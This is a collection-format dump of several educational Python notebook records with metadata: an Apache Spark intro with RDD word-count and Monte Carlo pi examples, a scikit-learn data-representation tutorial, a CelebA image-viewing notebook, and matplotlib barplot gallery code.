developed by [Matei Zaharia](http://people.csail.mit.edu/matei) as a class project, and later a PhD dissertation, at University of California, Berkeley.\n\n- In contrast to Hadoop, Apache Spark:\n\n    - is easy to install and configure.\n    - provides a much more natural *iterative* workflow \n\n\n## Resilient Distributed Datasets (RDD)\n\n- The fundamental abstraction of Apache Spark is a read-only, parallel, distributed, fault-tolerent collection called a resilient distributed datasets (RDD).\n\n- When working with Apache Spark we iteratively apply functions to every elelement of these collections in parallel to produce *new* RDDs.\n\n- For the most part, you can think/use RDDs like distributed dataframes. \n\n\n## Resilient Distributed Datasets (RDD)\n\n- Properties resilient distributed datasets (RDDs):\n    - The data is distributed across nodes in a cluster of computers.\n    - No data is lost if a single node fails.\n    - Data is typically stored in HBase tables, or HDFS files.\n    - The `map` and `reduce` functions can work in *parallel* across\n       different keys, or different elements of the collection.\n\n- The underlying framework (e.g. Hadoop or Apache Spark) allocates data and processing to different nodes, without any intervention from the programmer.\n\n## Word Count Example\n\n- In this simple example, the input is a set of URLs, each record is a document. <br> <br> <br>\n\n- **Problem: Compute how many times each word has occurred across data set.**\n\n## Word Count: Map \n\n\nThe input to $\\operatorname{map}$ is a mapping:\n- Key: URL\n- Value: Contents of document <br>\n$\\left< document1, to \\; be \\; or \\; not \\; to \\; be \\right>$  \n    \n\n- In this example, our $\\operatorname{map}$ function will process a given URL, and produces a mapping:\n- So our original data-set will be transformed to:\n  \n  $\\left< to, 1 \\right>$\n  $\\left< be, 1 \\right>$\n  $\\left< or, 1 \\right>$\n  $\\left< not, 1 \\right>$\n  $\\left< to, 1 \\right>$\n  $\\left< be, 1 \\right>$\n\n## Word Count: Reduce\n\n\n- The reduce operation groups values according to their key, and then performs areduce on each key.\n\n- The collections are partitioned across different storage units, therefore.\n\n- Map-Reduce will fold the data in such a way that it minimises data-copying across the cluster.\n\n- Data in different partitions are reduced separately in parallel.\n\n- The final result is a reduce of the reduced data in each partition.\n\n- Therefore it is very important that our operator *is both commutative and associative*.\n\n- In our case the function is the `+` operator\n\n  $\\left< be, 2 \\right>$  \n  $\\left< not, 1 \\right>$  \n  $\\left< or, 1 \\right>$  \n  $\\left< to, 2 \\right>$  \n  \n\n## Map-Reduce on a Cluster of Computers\n\n- The code we have written so far will *not* allow us to exploit parallelism from multiple computers in a [cluster](https://en.wikipedia.org/wiki/Computer_cluster).\n\n- Developing such a framework would be a very large software engineering project.\n\n- There are existing frameworks we can use:\n    - [Apache Hadoop](https://hadoop.apache.org/)\n    - [Apache Spark](https://spark.apache.org/)\n    \n- This notebook covers Apache Spark.\n\n## Apache Spark\n\n- Apache Spark provides an object-oriented library for processing data on the cluster.\n\n- It provides objects which represent resilient distributed datasets (RDDs).\n\n- RDDs behave a bit like Python collections (e.g. lists).\n\n- However:\n    - the underlying data is distributed across the nodes in the cluster, and\n    - the collections are *immutable*.\n\n## Apache Spark and Map-Reduce\n\n- We process the data by using higher-order functions to map RDDs onto *new* RDDs. \n\n- Each instance of an RDD has at least two *methods* corresponding to the Map-Reduce workflow:\n    - `map`\n    - `reduceByKey`\n    \n- These methods work in the same way as the corresponding functions we defined earlier to work with the standard Python collections.  \n\n- There are also additional RDD methods in the Apache Spark API including ones for SQL.\n   \n\n## Word-count in Apache Spark\n\n\n\nwords = \"to be or not to be\".split()\nwords\n\n### The `SparkContext` class\n\n- When working with Apache Spark we invoke methods on an object which is an instance of the `pyspark.context.SparkContext` context.\n\n- Typically, (such as when running on DataBricks) an instance of this object will be created automatically for you and assigned to the variable `sc`.\n\n- The `parallelize` method in `SparkContext` can be used to turn any ordinary Python collection into an RDD; \n\n#Don't Execute this on Databricks\n#To be used if executing via docker\nimport pyspark\nsc = pyspark.SparkContext('local[*]')\n\nwords_rdd = sc.parallelize(words)\nwords_rdd\n\n### Mapping an RDD\n\n- Now when we invoke the `map` or `reduceByKey` methods on `my_rdd` we can set up a parallel processing computation across the cluster.\n\nword_tuples_rdd = words_rdd.map(lambda x: (x, 1))\nword_tuples_rdd\n\n### Collecting the RDD\n- Notice that we do not have a result yet.\n\n- The computation is not performed until we request the final result to be *collected*.\n\n- We do this by invoking the `collect()` method.\n\n- Be careful with the `collect` method, as all data you are collecting must fit in memory.  \n\n- The `take` method is similar to `collect`, but only returns the first $n$ elements.\n \n\nword_tuples_rdd.collect()\n\nword_tuples_rdd.take(4)\n\n### Reducing an RDD\n\n- However, we require additional processing to reduce the data using the word key. \n\nword_counts_rdd = word_tuples_rdd.reduceByKey(lambda x, y: x + y)\nword_counts_rdd\n\n- Now we request the final result:\n\nword_counts = word_counts_rdd.collect()\nword_counts\n\n### Lazy evaluation \n\n- It is only when we invoke `collect()` that the processing is performed on the cluster.\n\n- Invoking `collect()` will cause both the `map` and `reduceByKey` operations to be performed.\n\n- If the resulting collection is very large then this can be an expensive operation.\n\n\nword_counts_rdd.take(2)\n\n### Connecting MapReduce in Single Command\n- Can string together `map` and `reduce` commands.\n- Not executed until it is collected.\n\ntext = \"to be or not to be\".split()\nrdd = sc.parallelize(text)\ncounts = rdd.map(lambda word: (word, 1)).reduceByKey(lambda x, y: x + y)\ncounts.collect()\n\n## Additional RDD transformations\n\n- Apache Spark offers many more methods for operating on collections of tuples over and above the standard Map-Reduce framework:\n\n    - Sorting: `sortByKey`, `sortBy`, `takeOrdered`\n    - Mapping: `flatMap`\n    - Filtering: `filter`\n    - Counting: `count`\n    - Set-theoretic: `intersection`, `union`\n    - Many others: [see the Transformations section of the programming guide](https://spark.apache.org/docs/latest/programming-guide.html#transformations)\n    \n\n## Creating an RDD from a text file\n\n- In the previous example, we created an RDD from a Python collection.\n\n- This is *not* typically how we would work with big data.\n\n- More commonly we would create an RDD corresponding to data in an\nHBase table, or an HDFS file.\n\n- The following example creates an RDD from a text file on the native filesystem (ext4);\n    - With bigger data, you would use an HDFS file, but the principle is the same.\n\n- Each element of the RDD corresponds to a single *line* of text.\n\ngenome = sc.textFile('../input/iris.csv')\n\n## Calculating $\\pi$ using Spark\n\n- We can estimate an approximate value for $\\pi$ using the following Monte-Carlo method:\n\n\n1.    Inscribe a circle in a square\n2.    Randomly generate points in the square\n3.    Determine the number of points in the square that are also in the circle\n4.    Let $r$ be the number of points in the circle divided by the number of points in the square, then $\\pi \\approx 4 r$.\n    \n- Note that the more points generated, the better the approximation\n\nSee [this tutorial](https://computing.llnl.gov/tutorials/parallel_comp/#ExamplesPI).\n\nimport numpy as np\n\ndef sample(p):\n    #here x,y are the x,y coordinate\n    x, y = np.random.random(), np.random.random()\n    #Because the circle is of \n    return 1 if x*x + y*y < 1 else 0\n\nNUM_SAMPLES = 1000000\n\ncount = sc.parallelize(range(0, NUM_SAMPLES)).map(sample) \\\n             .reduce(lambda a, b: a + b)\n#Area  = 4*PI*r\nr = float(count) / float(NUM_SAMPLES)\nr\nprint (\"Pi is approximately %f\" % (4.0 * r))\n\n", "meta": {"hexsha": "b72d34e6af3bab59165758e659f6aae32e8d842d", "size": 9236, "ext": "py", "lang": "Python", "max_stars_repo_path": "site/_build/jupyter_execute/notebooks/10-big-data/02-intro-spark.py", "max_stars_repo_name": "rpi-techfundamentals/spring2020_website", "max_stars_repo_head_hexsha": "b4b208ce7555f5574054ff5ff5d79b9e0e825499", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-07-01T13:00:30.000Z", "max_stars_repo_stars_event_max_datetime": "2021-07-01T13:00:30.000Z", "max_issues_repo_path": "site/_build/jupyter_execute/notebooks/10-big-data/02-intro-spark.py", "max_issues_repo_name": "rpi-techfundamentals/spring2020_website", "max_issues_repo_head_hexsha": "b4b208ce7555f5574054ff5ff5d79b9e0e825499", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 2, "max_issues_repo_issues_event_min_datetime": "2020-12-31T14:33:02.000Z", "max_issues_repo_issues_event_max_datetime": "2020-12-31T14:38:26.000Z", "max_forks_repo_path": "site/_build/jupyter_execute/notebooks/10-big-data/02-intro-spark.py", "max_forks_repo_name": "rpi-techfundamentals/spring2020_website", "max_forks_repo_head_hexsha": "b4b208ce7555f5574054ff5ff5d79b9e0e825499", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 3, "max_forks_repo_forks_event_min_datetime": "2021-01-05T20:26:15.000Z", "max_forks_repo_forks_event_max_datetime": "2021-02-15T14:54:44.000Z", "avg_line_length": 32.4070175439, "max_line_length": 172, "alphanum_fraction": 0.7295365959, "include": true, "reason": "import numpy", "num_tokens": 2256, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.36296920551961687, "lm_q2_score": 0.20181322226037884, "lm_q1q2_score": 0.07325198494720357}}
{"text": "\n# coding: utf-8\n\n# In[ ]:\n\n\nget_ipython().magic(u'load_ext watermark')\nget_ipython().magic(u\"watermark -d -u -a 'Andreas Mueller, Kyle Kastner, Sebastian Raschka' -v -p numpy,scipy,matplotlib\")\n\n\n# The use of watermark (above) is optional, and we use it to keep track of the changes while developing the tutorial material. (You can install this IPython extension via \"pip install watermark\". For more information, please see: https://github.com/rasbt/watermark).\n\n# # SciPy 2016 Scikit-learn Tutorial\n\n# # Representation and Visualization of Data\n\n# Machine learning is about fitting models to data; for that reason, we'll start by\n# discussing how data can be represented in order to be understood by the computer.  Along\n# with this, we'll build on our matplotlib examples from the previous section and show some\n# examples of how to visualize data.\n\n# ## Data in scikit-learn\n\n# Data in scikit-learn, with very few exceptions, is assumed to be stored as a\n# **two-dimensional array**, of shape `[n_samples, n_features]`. Many algorithms also accept ``scipy.sparse`` matrices of the same shape.\n\n# - **n_samples:**   The number of samples: each sample is an item to process (e.g. classify).\n#   A sample can be a document, a picture, a sound, a video, an astronomical object,\n#   a row in database or CSV file,\n#   or whatever you can describe with a fixed set of quantitative traits.\n# - **n_features:**  The number of features or distinct traits that can be used to describe each\n#   item in a quantitative manner.  Features are generally real-valued, but may be Boolean or\n#   discrete-valued in some cases.\n# \n# The number of features must be fixed in advance. However it can be very high dimensional\n# (e.g. millions of features) with most of them being \"zeros\" for a given sample. This is a case\n# where `scipy.sparse` matrices can be useful, in that they are\n# much more memory-efficient than NumPy arrays.\n# \n# As we recall from the previous section (or Jupyter notebook), we represent samples (data points or instances) as rows in the data array, and we store the corresponding features, the \"dimensions,\" as columns.\n\n# ### A Simple Example: the Iris Dataset\n\n# As an example of a simple dataset, we're going to take a look at the iris data stored by scikit-learn.\n# The data consists of measurements of three different iris flower species.  There are three different species of iris\n# in this particular dataset as illustrated below:\n\n# Iris Setosa\n# <img src=\"figures/iris_setosa.jpg\" width=\"50%\">\n# \n# Iris Versicolor\n# <img src=\"figures/iris_versicolor.jpg\" width=\"50%\">\n# \n# Iris Virginica\n# <img src=\"figures/iris_virginica.jpg\" width=\"50%\">\n# \n# \n\n# ### Quick Question:\n\n# **Let's assume that we are interested in categorizing new observations; we want to predict whether unknown flowers are  Iris-Setosa, Iris-Versicolor, or Iris-Virginica flowers, respectively. Based on what we've discussed in the previous section, how would we construct such a dataset?***\n# \n# Remember: we need a 2D array of size `[n_samples x n_features]`.\n# \n# - What would the `n_samples` refer to?\n# \n# - What might the `n_features` refer to?\n# \n# Remember that there must be a **fixed** number of features for each sample, and feature\n# number *j* must be a similar kind of quantity for each sample.\n\n# ### Loading the Iris Data with Scikit-learn\n\n# For future experiments with machine learning algorithms, we recommend you to bookmark the [UCI machine learning repository](http://archive.ics.uci.edu/ml/), which hosts many of the commonly used datasets that are useful for benchmarking machine learning algorithms -- a very popular resource for machine learning practioners and researchers. Conveniently, some of these datasets are already included in scikit-learn so that we can skip the tedious parts of downloading, reading, parsing, and cleaning these text/CSV files. You can find a list of available datasets in scikit-learn at: http://scikit-learn.org/stable/datasets/#toy-datasets.\n# \n# For example, scikit-learn has a very straightforward set of data on these iris species.  The data consist of\n# the following:\n# \n# - Features in the Iris dataset:\n# \n#   1. sepal length in cm\n#   2. sepal width in cm\n#   3. petal length in cm\n#   4. petal width in cm\n# \n# - Target classes to predict:\n# \n#   1. Iris Setosa\n#   2. Iris Versicolour\n#   3. Iris Virginica\n\n# <img src=\"figures/petal_sepal.jpg\" alt=\"Sepal\" style=\"width: 50%;\"/>\n# \n# (Image: \"Petal-sepal\". Licensed under CC BY-SA 3.0 via Wikimedia Commons - https://commons.wikimedia.org/wiki/File:Petal-sepal.jpg#/media/File:Petal-sepal.jpg)\n\n# ``scikit-learn`` embeds a copy of the iris CSV file along with a helper function to load it into numpy arrays:\n\n# In[1]:\n\n\nfrom sklearn.datasets import load_iris\niris = load_iris()\n\n\n# The resulting dataset is a ``Bunch`` object: you can see what's available using\n# the method ``keys()``:\n\n# In[2]:\n\n\niris.keys()\n\n\n# The features of each sample flower are stored in the ``data`` attribute of the dataset:\n\n# In[3]:\n\n\nn_samples, n_features = iris.data.shape\nprint('Number of samples:', n_samples)\nprint('Number of features:', n_features)\n# the sepal length, sepal width, petal length and petal width of the first sample (first flower)\nprint(iris.data[0])\n\n\n# The information about the class of each sample is stored in the ``target`` attribute of the dataset:\n\n# In[ ]:\n\n\nprint(iris.data.shape)\nprint(iris.target.shape)\n\n\n# In[ ]:\n\n\nprint(iris.target)\n\n\n# In[ ]:\n\n\nimport numpy as np\n\nnp.bincount(iris.target)\n\n\n# Using the NumPy's bincount function (above), we can see that the classes are distributed uniformly in this dataset - there are 50 flowers from each species, where\n# \n# - class 0: Iris-Setosa\n# - class 1: Iris-Versicolor\n# - class 2: Iris-Virginica\n\n# These class names are stored in the last attribute, namely ``target_names``:\n\n# In[ ]:\n\n\nprint(iris.target_names)\n\n\n# This data is four dimensional, but we can visualize one or two of the dimensions\n# at a time using a simple histogram or scatter-plot.  Again, we'll start by enabling\n# matplotlib inline mode:\n\n# In[ ]:\n\n\nget_ipython().magic(u'matplotlib inline')\nimport matplotlib.pyplot as plt\n\n\n# In[ ]:\n\n\nx_index = 3\ncolors = ['blue', 'red', 'green']\n\nfor label, color in zip(range(len(iris.target_names)), colors):\n    plt.hist(iris.data[iris.target==label, x_index], \n             label=iris.target_names[label],\n             color=color)\n\nplt.xlabel(iris.feature_names[x_index])\nplt.legend(loc='upper right')\nplt.show()\n\n\n# In[ ]:\n\n\nx_index = 3\ny_index = 0\n\ncolors = ['blue', 'red', 'green']\n\nfor label, color in zip(range(len(iris.target_names)), colors):\n    plt.scatter(iris.data[iris.target==label, x_index], \n                iris.data[iris.target==label, y_index],\n                label=iris.target_names[label],\n                c=color)\n\nplt.xlabel(iris.feature_names[x_index])\nplt.ylabel(iris.feature_names[y_index])\nplt.legend(loc='upper left')\nplt.show()\n\n\n# ### Quick Exercise:\n\n# **Change** `x_index` **and** `y_index` **in the above script\n# and find a combination of two parameters\n# which maximally separate the three classes.**\n# \n# This exercise is a preview of **dimensionality reduction**, which we'll see later.\n\n# ## Other Available Data\n\n# [Scikit-learn makes available a host of datasets for testing learning algorithms](http://scikit-learn.org/stable/datasets/#dataset-loading-utilities).\n# They come in three flavors:\n# \n# - **Packaged Data:** these small datasets are packaged with the scikit-learn installation,\n#   and can be downloaded using the tools in ``sklearn.datasets.load_*``\n# - **Downloadable Data:** these larger datasets are available for download, and scikit-learn\n#   includes tools which streamline this process.  These tools can be found in\n#   ``sklearn.datasets.fetch_*``\n# - **Generated Data:** there are several datasets which are generated from models based on a\n#   random seed.  These are available in the ``sklearn.datasets.make_*``\n# \n# You can explore the available dataset loaders, fetchers, and generators using IPython's\n# tab-completion functionality.  After importing the ``datasets`` submodule from ``sklearn``,\n# type\n# \n#     datasets.load_<TAB>\n# \n# or\n# \n#     datasets.fetch_<TAB>\n# \n# or\n# \n#     datasets.make_<TAB>\n# \n# to see a list of available functions.\n\n# In[ ]:\n\n\nfrom sklearn import datasets\n\n\n# The data downloaded using the ``fetch_`` scripts are stored locally,\n# within a subdirectory of your home directory.\n# You can use the following to determine where it is:\n\n# In[ ]:\n\n\nfrom sklearn.datasets import get_data_home\nget_data_home()\n\n\n# Be warned: many of these datasets are quite large, and can take a long time to download!\n# (especially on Conference wifi).\n# \n# If you start a download within the IPython notebook\n# and you want to kill it, you can use ipython's \"kernel interrupt\" feature, available in the menu or using\n# the shortcut ``Ctrl-m i``.\n# \n# You can press ``Ctrl-m h`` for a list of all ``ipython`` keyboard shortcuts.\n\n# ## Loading Digits Data\n\n# Now we'll take a look at another dataset, one where we have to put a bit\n# more thought into how to represent the data.  We can explore the data in\n# a similar manner as above:\n\n# In[ ]:\n\n\nfrom sklearn.datasets import load_digits\ndigits = load_digits()\n\n\n# In[ ]:\n\n\ndigits.keys()\n\n\n# In[ ]:\n\n\nn_samples, n_features = digits.data.shape\nprint((n_samples, n_features))\n\n\n# In[ ]:\n\n\nprint(digits.data[0])\nprint(digits.target)\n\n\n# The target here is just the digit represented by the data.  The data is an array of\n# length 64... but what does this data mean?\n\n# There's a clue in the fact that we have two versions of the data array:\n# ``data`` and ``images``.  Let's take a look at them:\n\n# In[ ]:\n\n\nprint(digits.data.shape)\nprint(digits.images.shape)\n\n\n# We can see that they're related by a simple reshaping:\n\n# In[ ]:\n\n\nimport numpy as np\nprint(np.all(digits.images.reshape((1797, 64)) == digits.data))\n\n\n# Let's visualize the data.  It's little bit more involved than the simple scatter-plot\n# we used above, but we can do it rather quickly.\n\n# In[ ]:\n\n\n# set up the figure\nfig = plt.figure(figsize=(6, 6))  # figure size in inches\nfig.subplots_adjust(left=0, right=1, bottom=0, top=1, hspace=0.05, wspace=0.05)\n\n# plot the digits: each image is 8x8 pixels\nfor i in range(64):\n    ax = fig.add_subplot(8, 8, i + 1, xticks=[], yticks=[])\n    ax.imshow(digits.images[i], cmap=plt.cm.binary, interpolation='nearest')\n    \n    # label the image with the target value\n    ax.text(0, 7, str(digits.target[i]))\n\n\n# We see now what the features mean.  Each feature is a real-valued quantity representing the\n# darkness of a pixel in an 8x8 image of a hand-written digit.\n# \n# Even though each sample has data that is inherently two-dimensional, the data matrix flattens\n# this 2D data into a **single vector**, which can be contained in one **row** of the data matrix.\n\n# ## Generated Data: the S-Curve\n\n# One dataset often used as an example of a simple nonlinear dataset is the S-cure:\n\n# In[ ]:\n\n\nfrom sklearn.datasets import make_s_curve\ndata, colors = make_s_curve(n_samples=1000)\nprint(data.shape)\nprint(colors.shape)\n\n\n# In[ ]:\n\n\nfrom mpl_toolkits.mplot3d import Axes3D\nax = plt.axes(projection='3d')\nax.scatter(data[:, 0], data[:, 1], data[:, 2], c=colors)\nax.view_init(10, -60)\n\n\n# This example is typically used with an unsupervised learning method called Locally\n# Linear Embedding.  We'll explore unsupervised learning in detail later in the tutorial.\n\n# ## Exercise: working with the faces dataset\n\n# Here we'll take a moment for you to explore the datasets yourself.\n# Later on we'll be using the Olivetti faces dataset.\n# Take a moment to fetch the data (about 1.4MB), and visualize the faces.\n# You can copy the code used to visualize the digits above, and modify it for this data.\n\n# In[ ]:\n\n\nfrom sklearn.datasets import fetch_olivetti_faces\n\n\n# In[ ]:\n\n\n# fetch the faces data\n\n\n# In[ ]:\n\n\n# Use a script like above to plot the faces image data.\n# hint: plt.cm.bone is a good colormap for this data\n\n\n# ### Solution:\n\n# In[ ]:\n\n\n# %load solutions/03A_faces_plot.py\n\n", "meta": {"hexsha": "54c2eb1d22c7e5e876317658c80ad31430a33c6d", "size": 12099, "ext": "py", "lang": "Python", "max_stars_repo_path": "Scipy/03 Data Representation for Machine Learning.py", "max_stars_repo_name": "erkundanec/BasicPython", "max_stars_repo_head_hexsha": "0d3bd1ccb603b94fc3701783dfb06f831ceb2541", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2020-02-06T18:12:53.000Z", "max_stars_repo_stars_event_max_datetime": "2021-06-11T07:57:19.000Z", "max_issues_repo_path": "Scipy/03 Data Representation for Machine Learning.py", "max_issues_repo_name": "erkundanec/BasicPython", "max_issues_repo_head_hexsha": "0d3bd1ccb603b94fc3701783dfb06f831ceb2541", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Scipy/03 Data Representation for Machine Learning.py", "max_forks_repo_name": "erkundanec/BasicPython", "max_forks_repo_head_hexsha": "0d3bd1ccb603b94fc3701783dfb06f831ceb2541", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-06-11T07:52:34.000Z", "max_forks_repo_forks_event_max_datetime": "2021-06-11T07:52:34.000Z", "avg_line_length": 29.4379562044, "max_line_length": 641, "alphanum_fraction": 0.7203074634, "include": true, "reason": "import numpy", "num_tokens": 3072, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.42250464935739196, "lm_q2_score": 0.17328819739040088, "lm_q1q2_score": 0.07321506907620585}}
{"text": "# ---\n# jupyter:\n#   jupytext:\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.5'\n#       jupytext_version: 1.11.3\n#   kernelspec:\n#     display_name: Python 3\n#     name: python3\n# ---\n\n# + [markdown] id=\"view-in-github\" colab_type=\"text\"\n# <a href=\"https://colab.research.google.com/github/probml/pyprobml/blob/master/book1/cnn/celeba_viz.ipynb\" target=\"_parent\"><img src=\"https://colab.research.google.com/assets/colab-badge.svg\" alt=\"Open In Colab\"/></a>\n\n# + [markdown] id=\"uUVMQIq8TyC6\"\n# # Visualize CelebA\n#\n# Here we download a zipfile of images and their attributes\n# that have been preprocessed to 64x64 using the script at\n# https://github.com/probml/pyprobml/blob/master/scripts/celeba_kaggle_preprocess.py\n\n# + id=\"YH5ZcrotTXch\"\n# Standard Python libraries\nfrom __future__ import absolute_import, division, print_function, unicode_literals\n\nimport os\nimport time\nimport numpy as np\nimport glob\nimport matplotlib.pyplot as plt\nimport PIL\nimport imageio\nfrom IPython import display\nimport sklearn\n#from time import time\n\nnp.random.seed(0)\n\n# + id=\"p-ohH-RsT30p\"\n# N can be 200, 20000, or 40000\nN = 20000\nH = 64; W = 64; C = 3;\ninput_shape = [H, W, 3]\nname = 'celeba_small_H{}_W{}_N{}'.format(H, W, N)\ncsv_name = '{}.csv'.format(name)\nzip_name = '{}.zip'.format(name)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"f6IbB-7OUER6\" outputId=\"a2e87fd8-beff-44b6-8b17-67dc32dedad1\"\n# !rm {csv_name}\n# !wget https://raw.githubusercontent.com/probml/pyprobml/master/data/CelebA/{csv_name}  \n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 211} id=\"As5BgaiJT7bo\" outputId=\"75bdc5ab-fd98-421f-ff6f-e68fd5f611de\"\nimport pandas as pd\ndf = pd.read_csv(csv_name)\ndf.head()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"4su5o-2oUItG\" outputId=\"43de6397-665f-4747-c286-4d2309740a8a\"\n# !rm {zip_name}\n# !wget https://raw.githubusercontent.com/probml/pyprobml/master/data/CelebA/{zip_name}\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"8_UyusI_UL4W\" outputId=\"9c62bfa1-9d28-4b02-b149-3c90c99cb1d9\"\n# !rm *.jpg\n# !ls\n\n# + id=\"pPe7XwkeUMGl\"\n# !unzip -qq {zip_name}\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"B9FO5rIjUOJ2\" outputId=\"c9283f9e-b200-49a9-daa4-85c6ab3b9612\"\nfrom glob import glob\nfilenames = glob('*.jpg')\n#print(filenames) # should match df['image_id']\nprint(len(filenames))\n\n# + id=\"bd1m591TUQPl\"\nfrom matplotlib.image import imread\nimages_celeba = np.zeros((N, H, W, C), dtype=np.float32) # pre-allocate memory\nfor i in range(N):\n    filename = df.iloc[i]['image_id']\n    img = imread(filename) # numpy array of uint8\n    images_celeba[i,:,:,:] = img / 255 # float in 0..1\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 608} id=\"qAzYK3ZmUSoK\" outputId=\"e41be2a7-30f8-48bd-e7bb-f21d4ffa001f\"\nfig, axs = plt.subplots(2, 4, figsize=(15,10))\naxs = np.reshape(axs, 8)\nfor i in range(8):\n  ax = axs[i]\n  ax.imshow(images_celeba[i, :, :, :])\n  ax.axis('off')\nplt.tight_layout()\nplt.show()\n", "meta": {"hexsha": "0c25c5b46bd2f471bdc6e50400c1e0fb0b078975", "size": 3010, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebooks-text-format/celeba_viz.py", "max_stars_repo_name": "arpitvaghela/probml-notebooks", "max_stars_repo_head_hexsha": "32ecb309dd474b989fd1c6ce4ad6dab7a25bbead", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 166, "max_stars_repo_stars_event_min_datetime": "2021-07-16T17:33:09.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T03:35:34.000Z", "max_issues_repo_path": "notebooks-text-format/celeba_viz.py", "max_issues_repo_name": "arpitvaghela/probml-notebooks", "max_issues_repo_head_hexsha": "32ecb309dd474b989fd1c6ce4ad6dab7a25bbead", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 29, "max_issues_repo_issues_event_min_datetime": "2021-07-21T16:31:51.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T19:50:13.000Z", "max_forks_repo_path": "notebooks-text-format/celeba_viz.py", "max_forks_repo_name": "arpitvaghela/probml-notebooks", "max_forks_repo_head_hexsha": "32ecb309dd474b989fd1c6ce4ad6dab7a25bbead", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 48, "max_forks_repo_forks_event_min_datetime": "2021-07-17T08:26:18.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-31T03:36:18.000Z", "avg_line_length": 32.3655913978, "max_line_length": 218, "alphanum_fraction": 0.7009966777, "include": true, "reason": "import numpy", "num_tokens": 1078, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3451052574867685, "lm_q2_score": 0.21206880435710534, "lm_q1q2_score": 0.07318605933256998}}
{"text": "     \t# ------------------------------------------------ #\r\n        #     THE PYTHON_GRAPH_GALLERY\r\n        #               Hundreds of charts made with python\r\n        #               www.python-graph-gallery.com\r\n        #\r\n        #                   by Yan Holtz\r\n        # ------------------------------------------------ #\r\n \r\n  \r\n# Welcome to the Python Graph gallery \r\n# All the graphics displayed online are initialy created here.\r\n# Charts are organized per section.\r\n# Feel free to use this file, but honestly, it is more convenient to visit the website I believe...\r\n#\r\n#   www.python-graph-gallery.com\r\n#\r\n  \r\n\r\n\r\n\r\n\r\n  \r\n  \r\n  -----------------------------------------\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |  SERIE #1 -> #20 BARPLOT MATPLOTLIB\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n  -----------------------------------------\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #1 Basic barplot\r\n \r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n# Choose the dot per inch\r\nmy_dpi=96\r\n\r\n# Choose the dimensions for the figure (here 480x480)\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Choose the height of the bars\r\nheight = [3, 12, 5, 18, 45]\r\n\r\n# Choose the names of the bars\r\nbars = ('A', 'B', 'C', 'D', 'E')\r\n\r\ny_pos = np.arange(len(bars))\r\n\r\n# Create bars\r\nplt.bar(y_pos, height)\r\n\r\n# Create names on the x-axis\r\nplt.xticks(y_pos, bars)\r\n\r\n# Save the figure and choose a name\r\nplt.savefig('#1_basic_barplot.png')\r\n\r\n# Show graphic\r\nplt.show()\r\n \r\n \r\n \r\n \r\n \r\n \r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #2 Horizontal barplot\r\n \r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n# Choose the dot per inch\r\nmy_dpi=96\r\n\r\n# Choose the dimensions for the figure (here 480x480)\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Choose the height of the bars\r\nheight = [3, 12, 5, 18, 45]\r\n\r\n# Choose the names of the bars\r\nbars = ('A', 'B', 'C', 'D', 'E')\r\n\r\ny_pos = np.arange(len(bars))\r\n\r\n# Create horizontal bars\r\nplt.barh(y_pos, height)\r\n\r\n# Create names on the y-axis\r\nplt.yticks(y_pos, bars)\r\n\r\n# Save the figure and choose a name\r\nplt.savefig('#2_horizontal_barplot.png')\r\n\r\n# Show graphic\r\nplt.show()\r\n \r\n \r\n \r\n \r\n 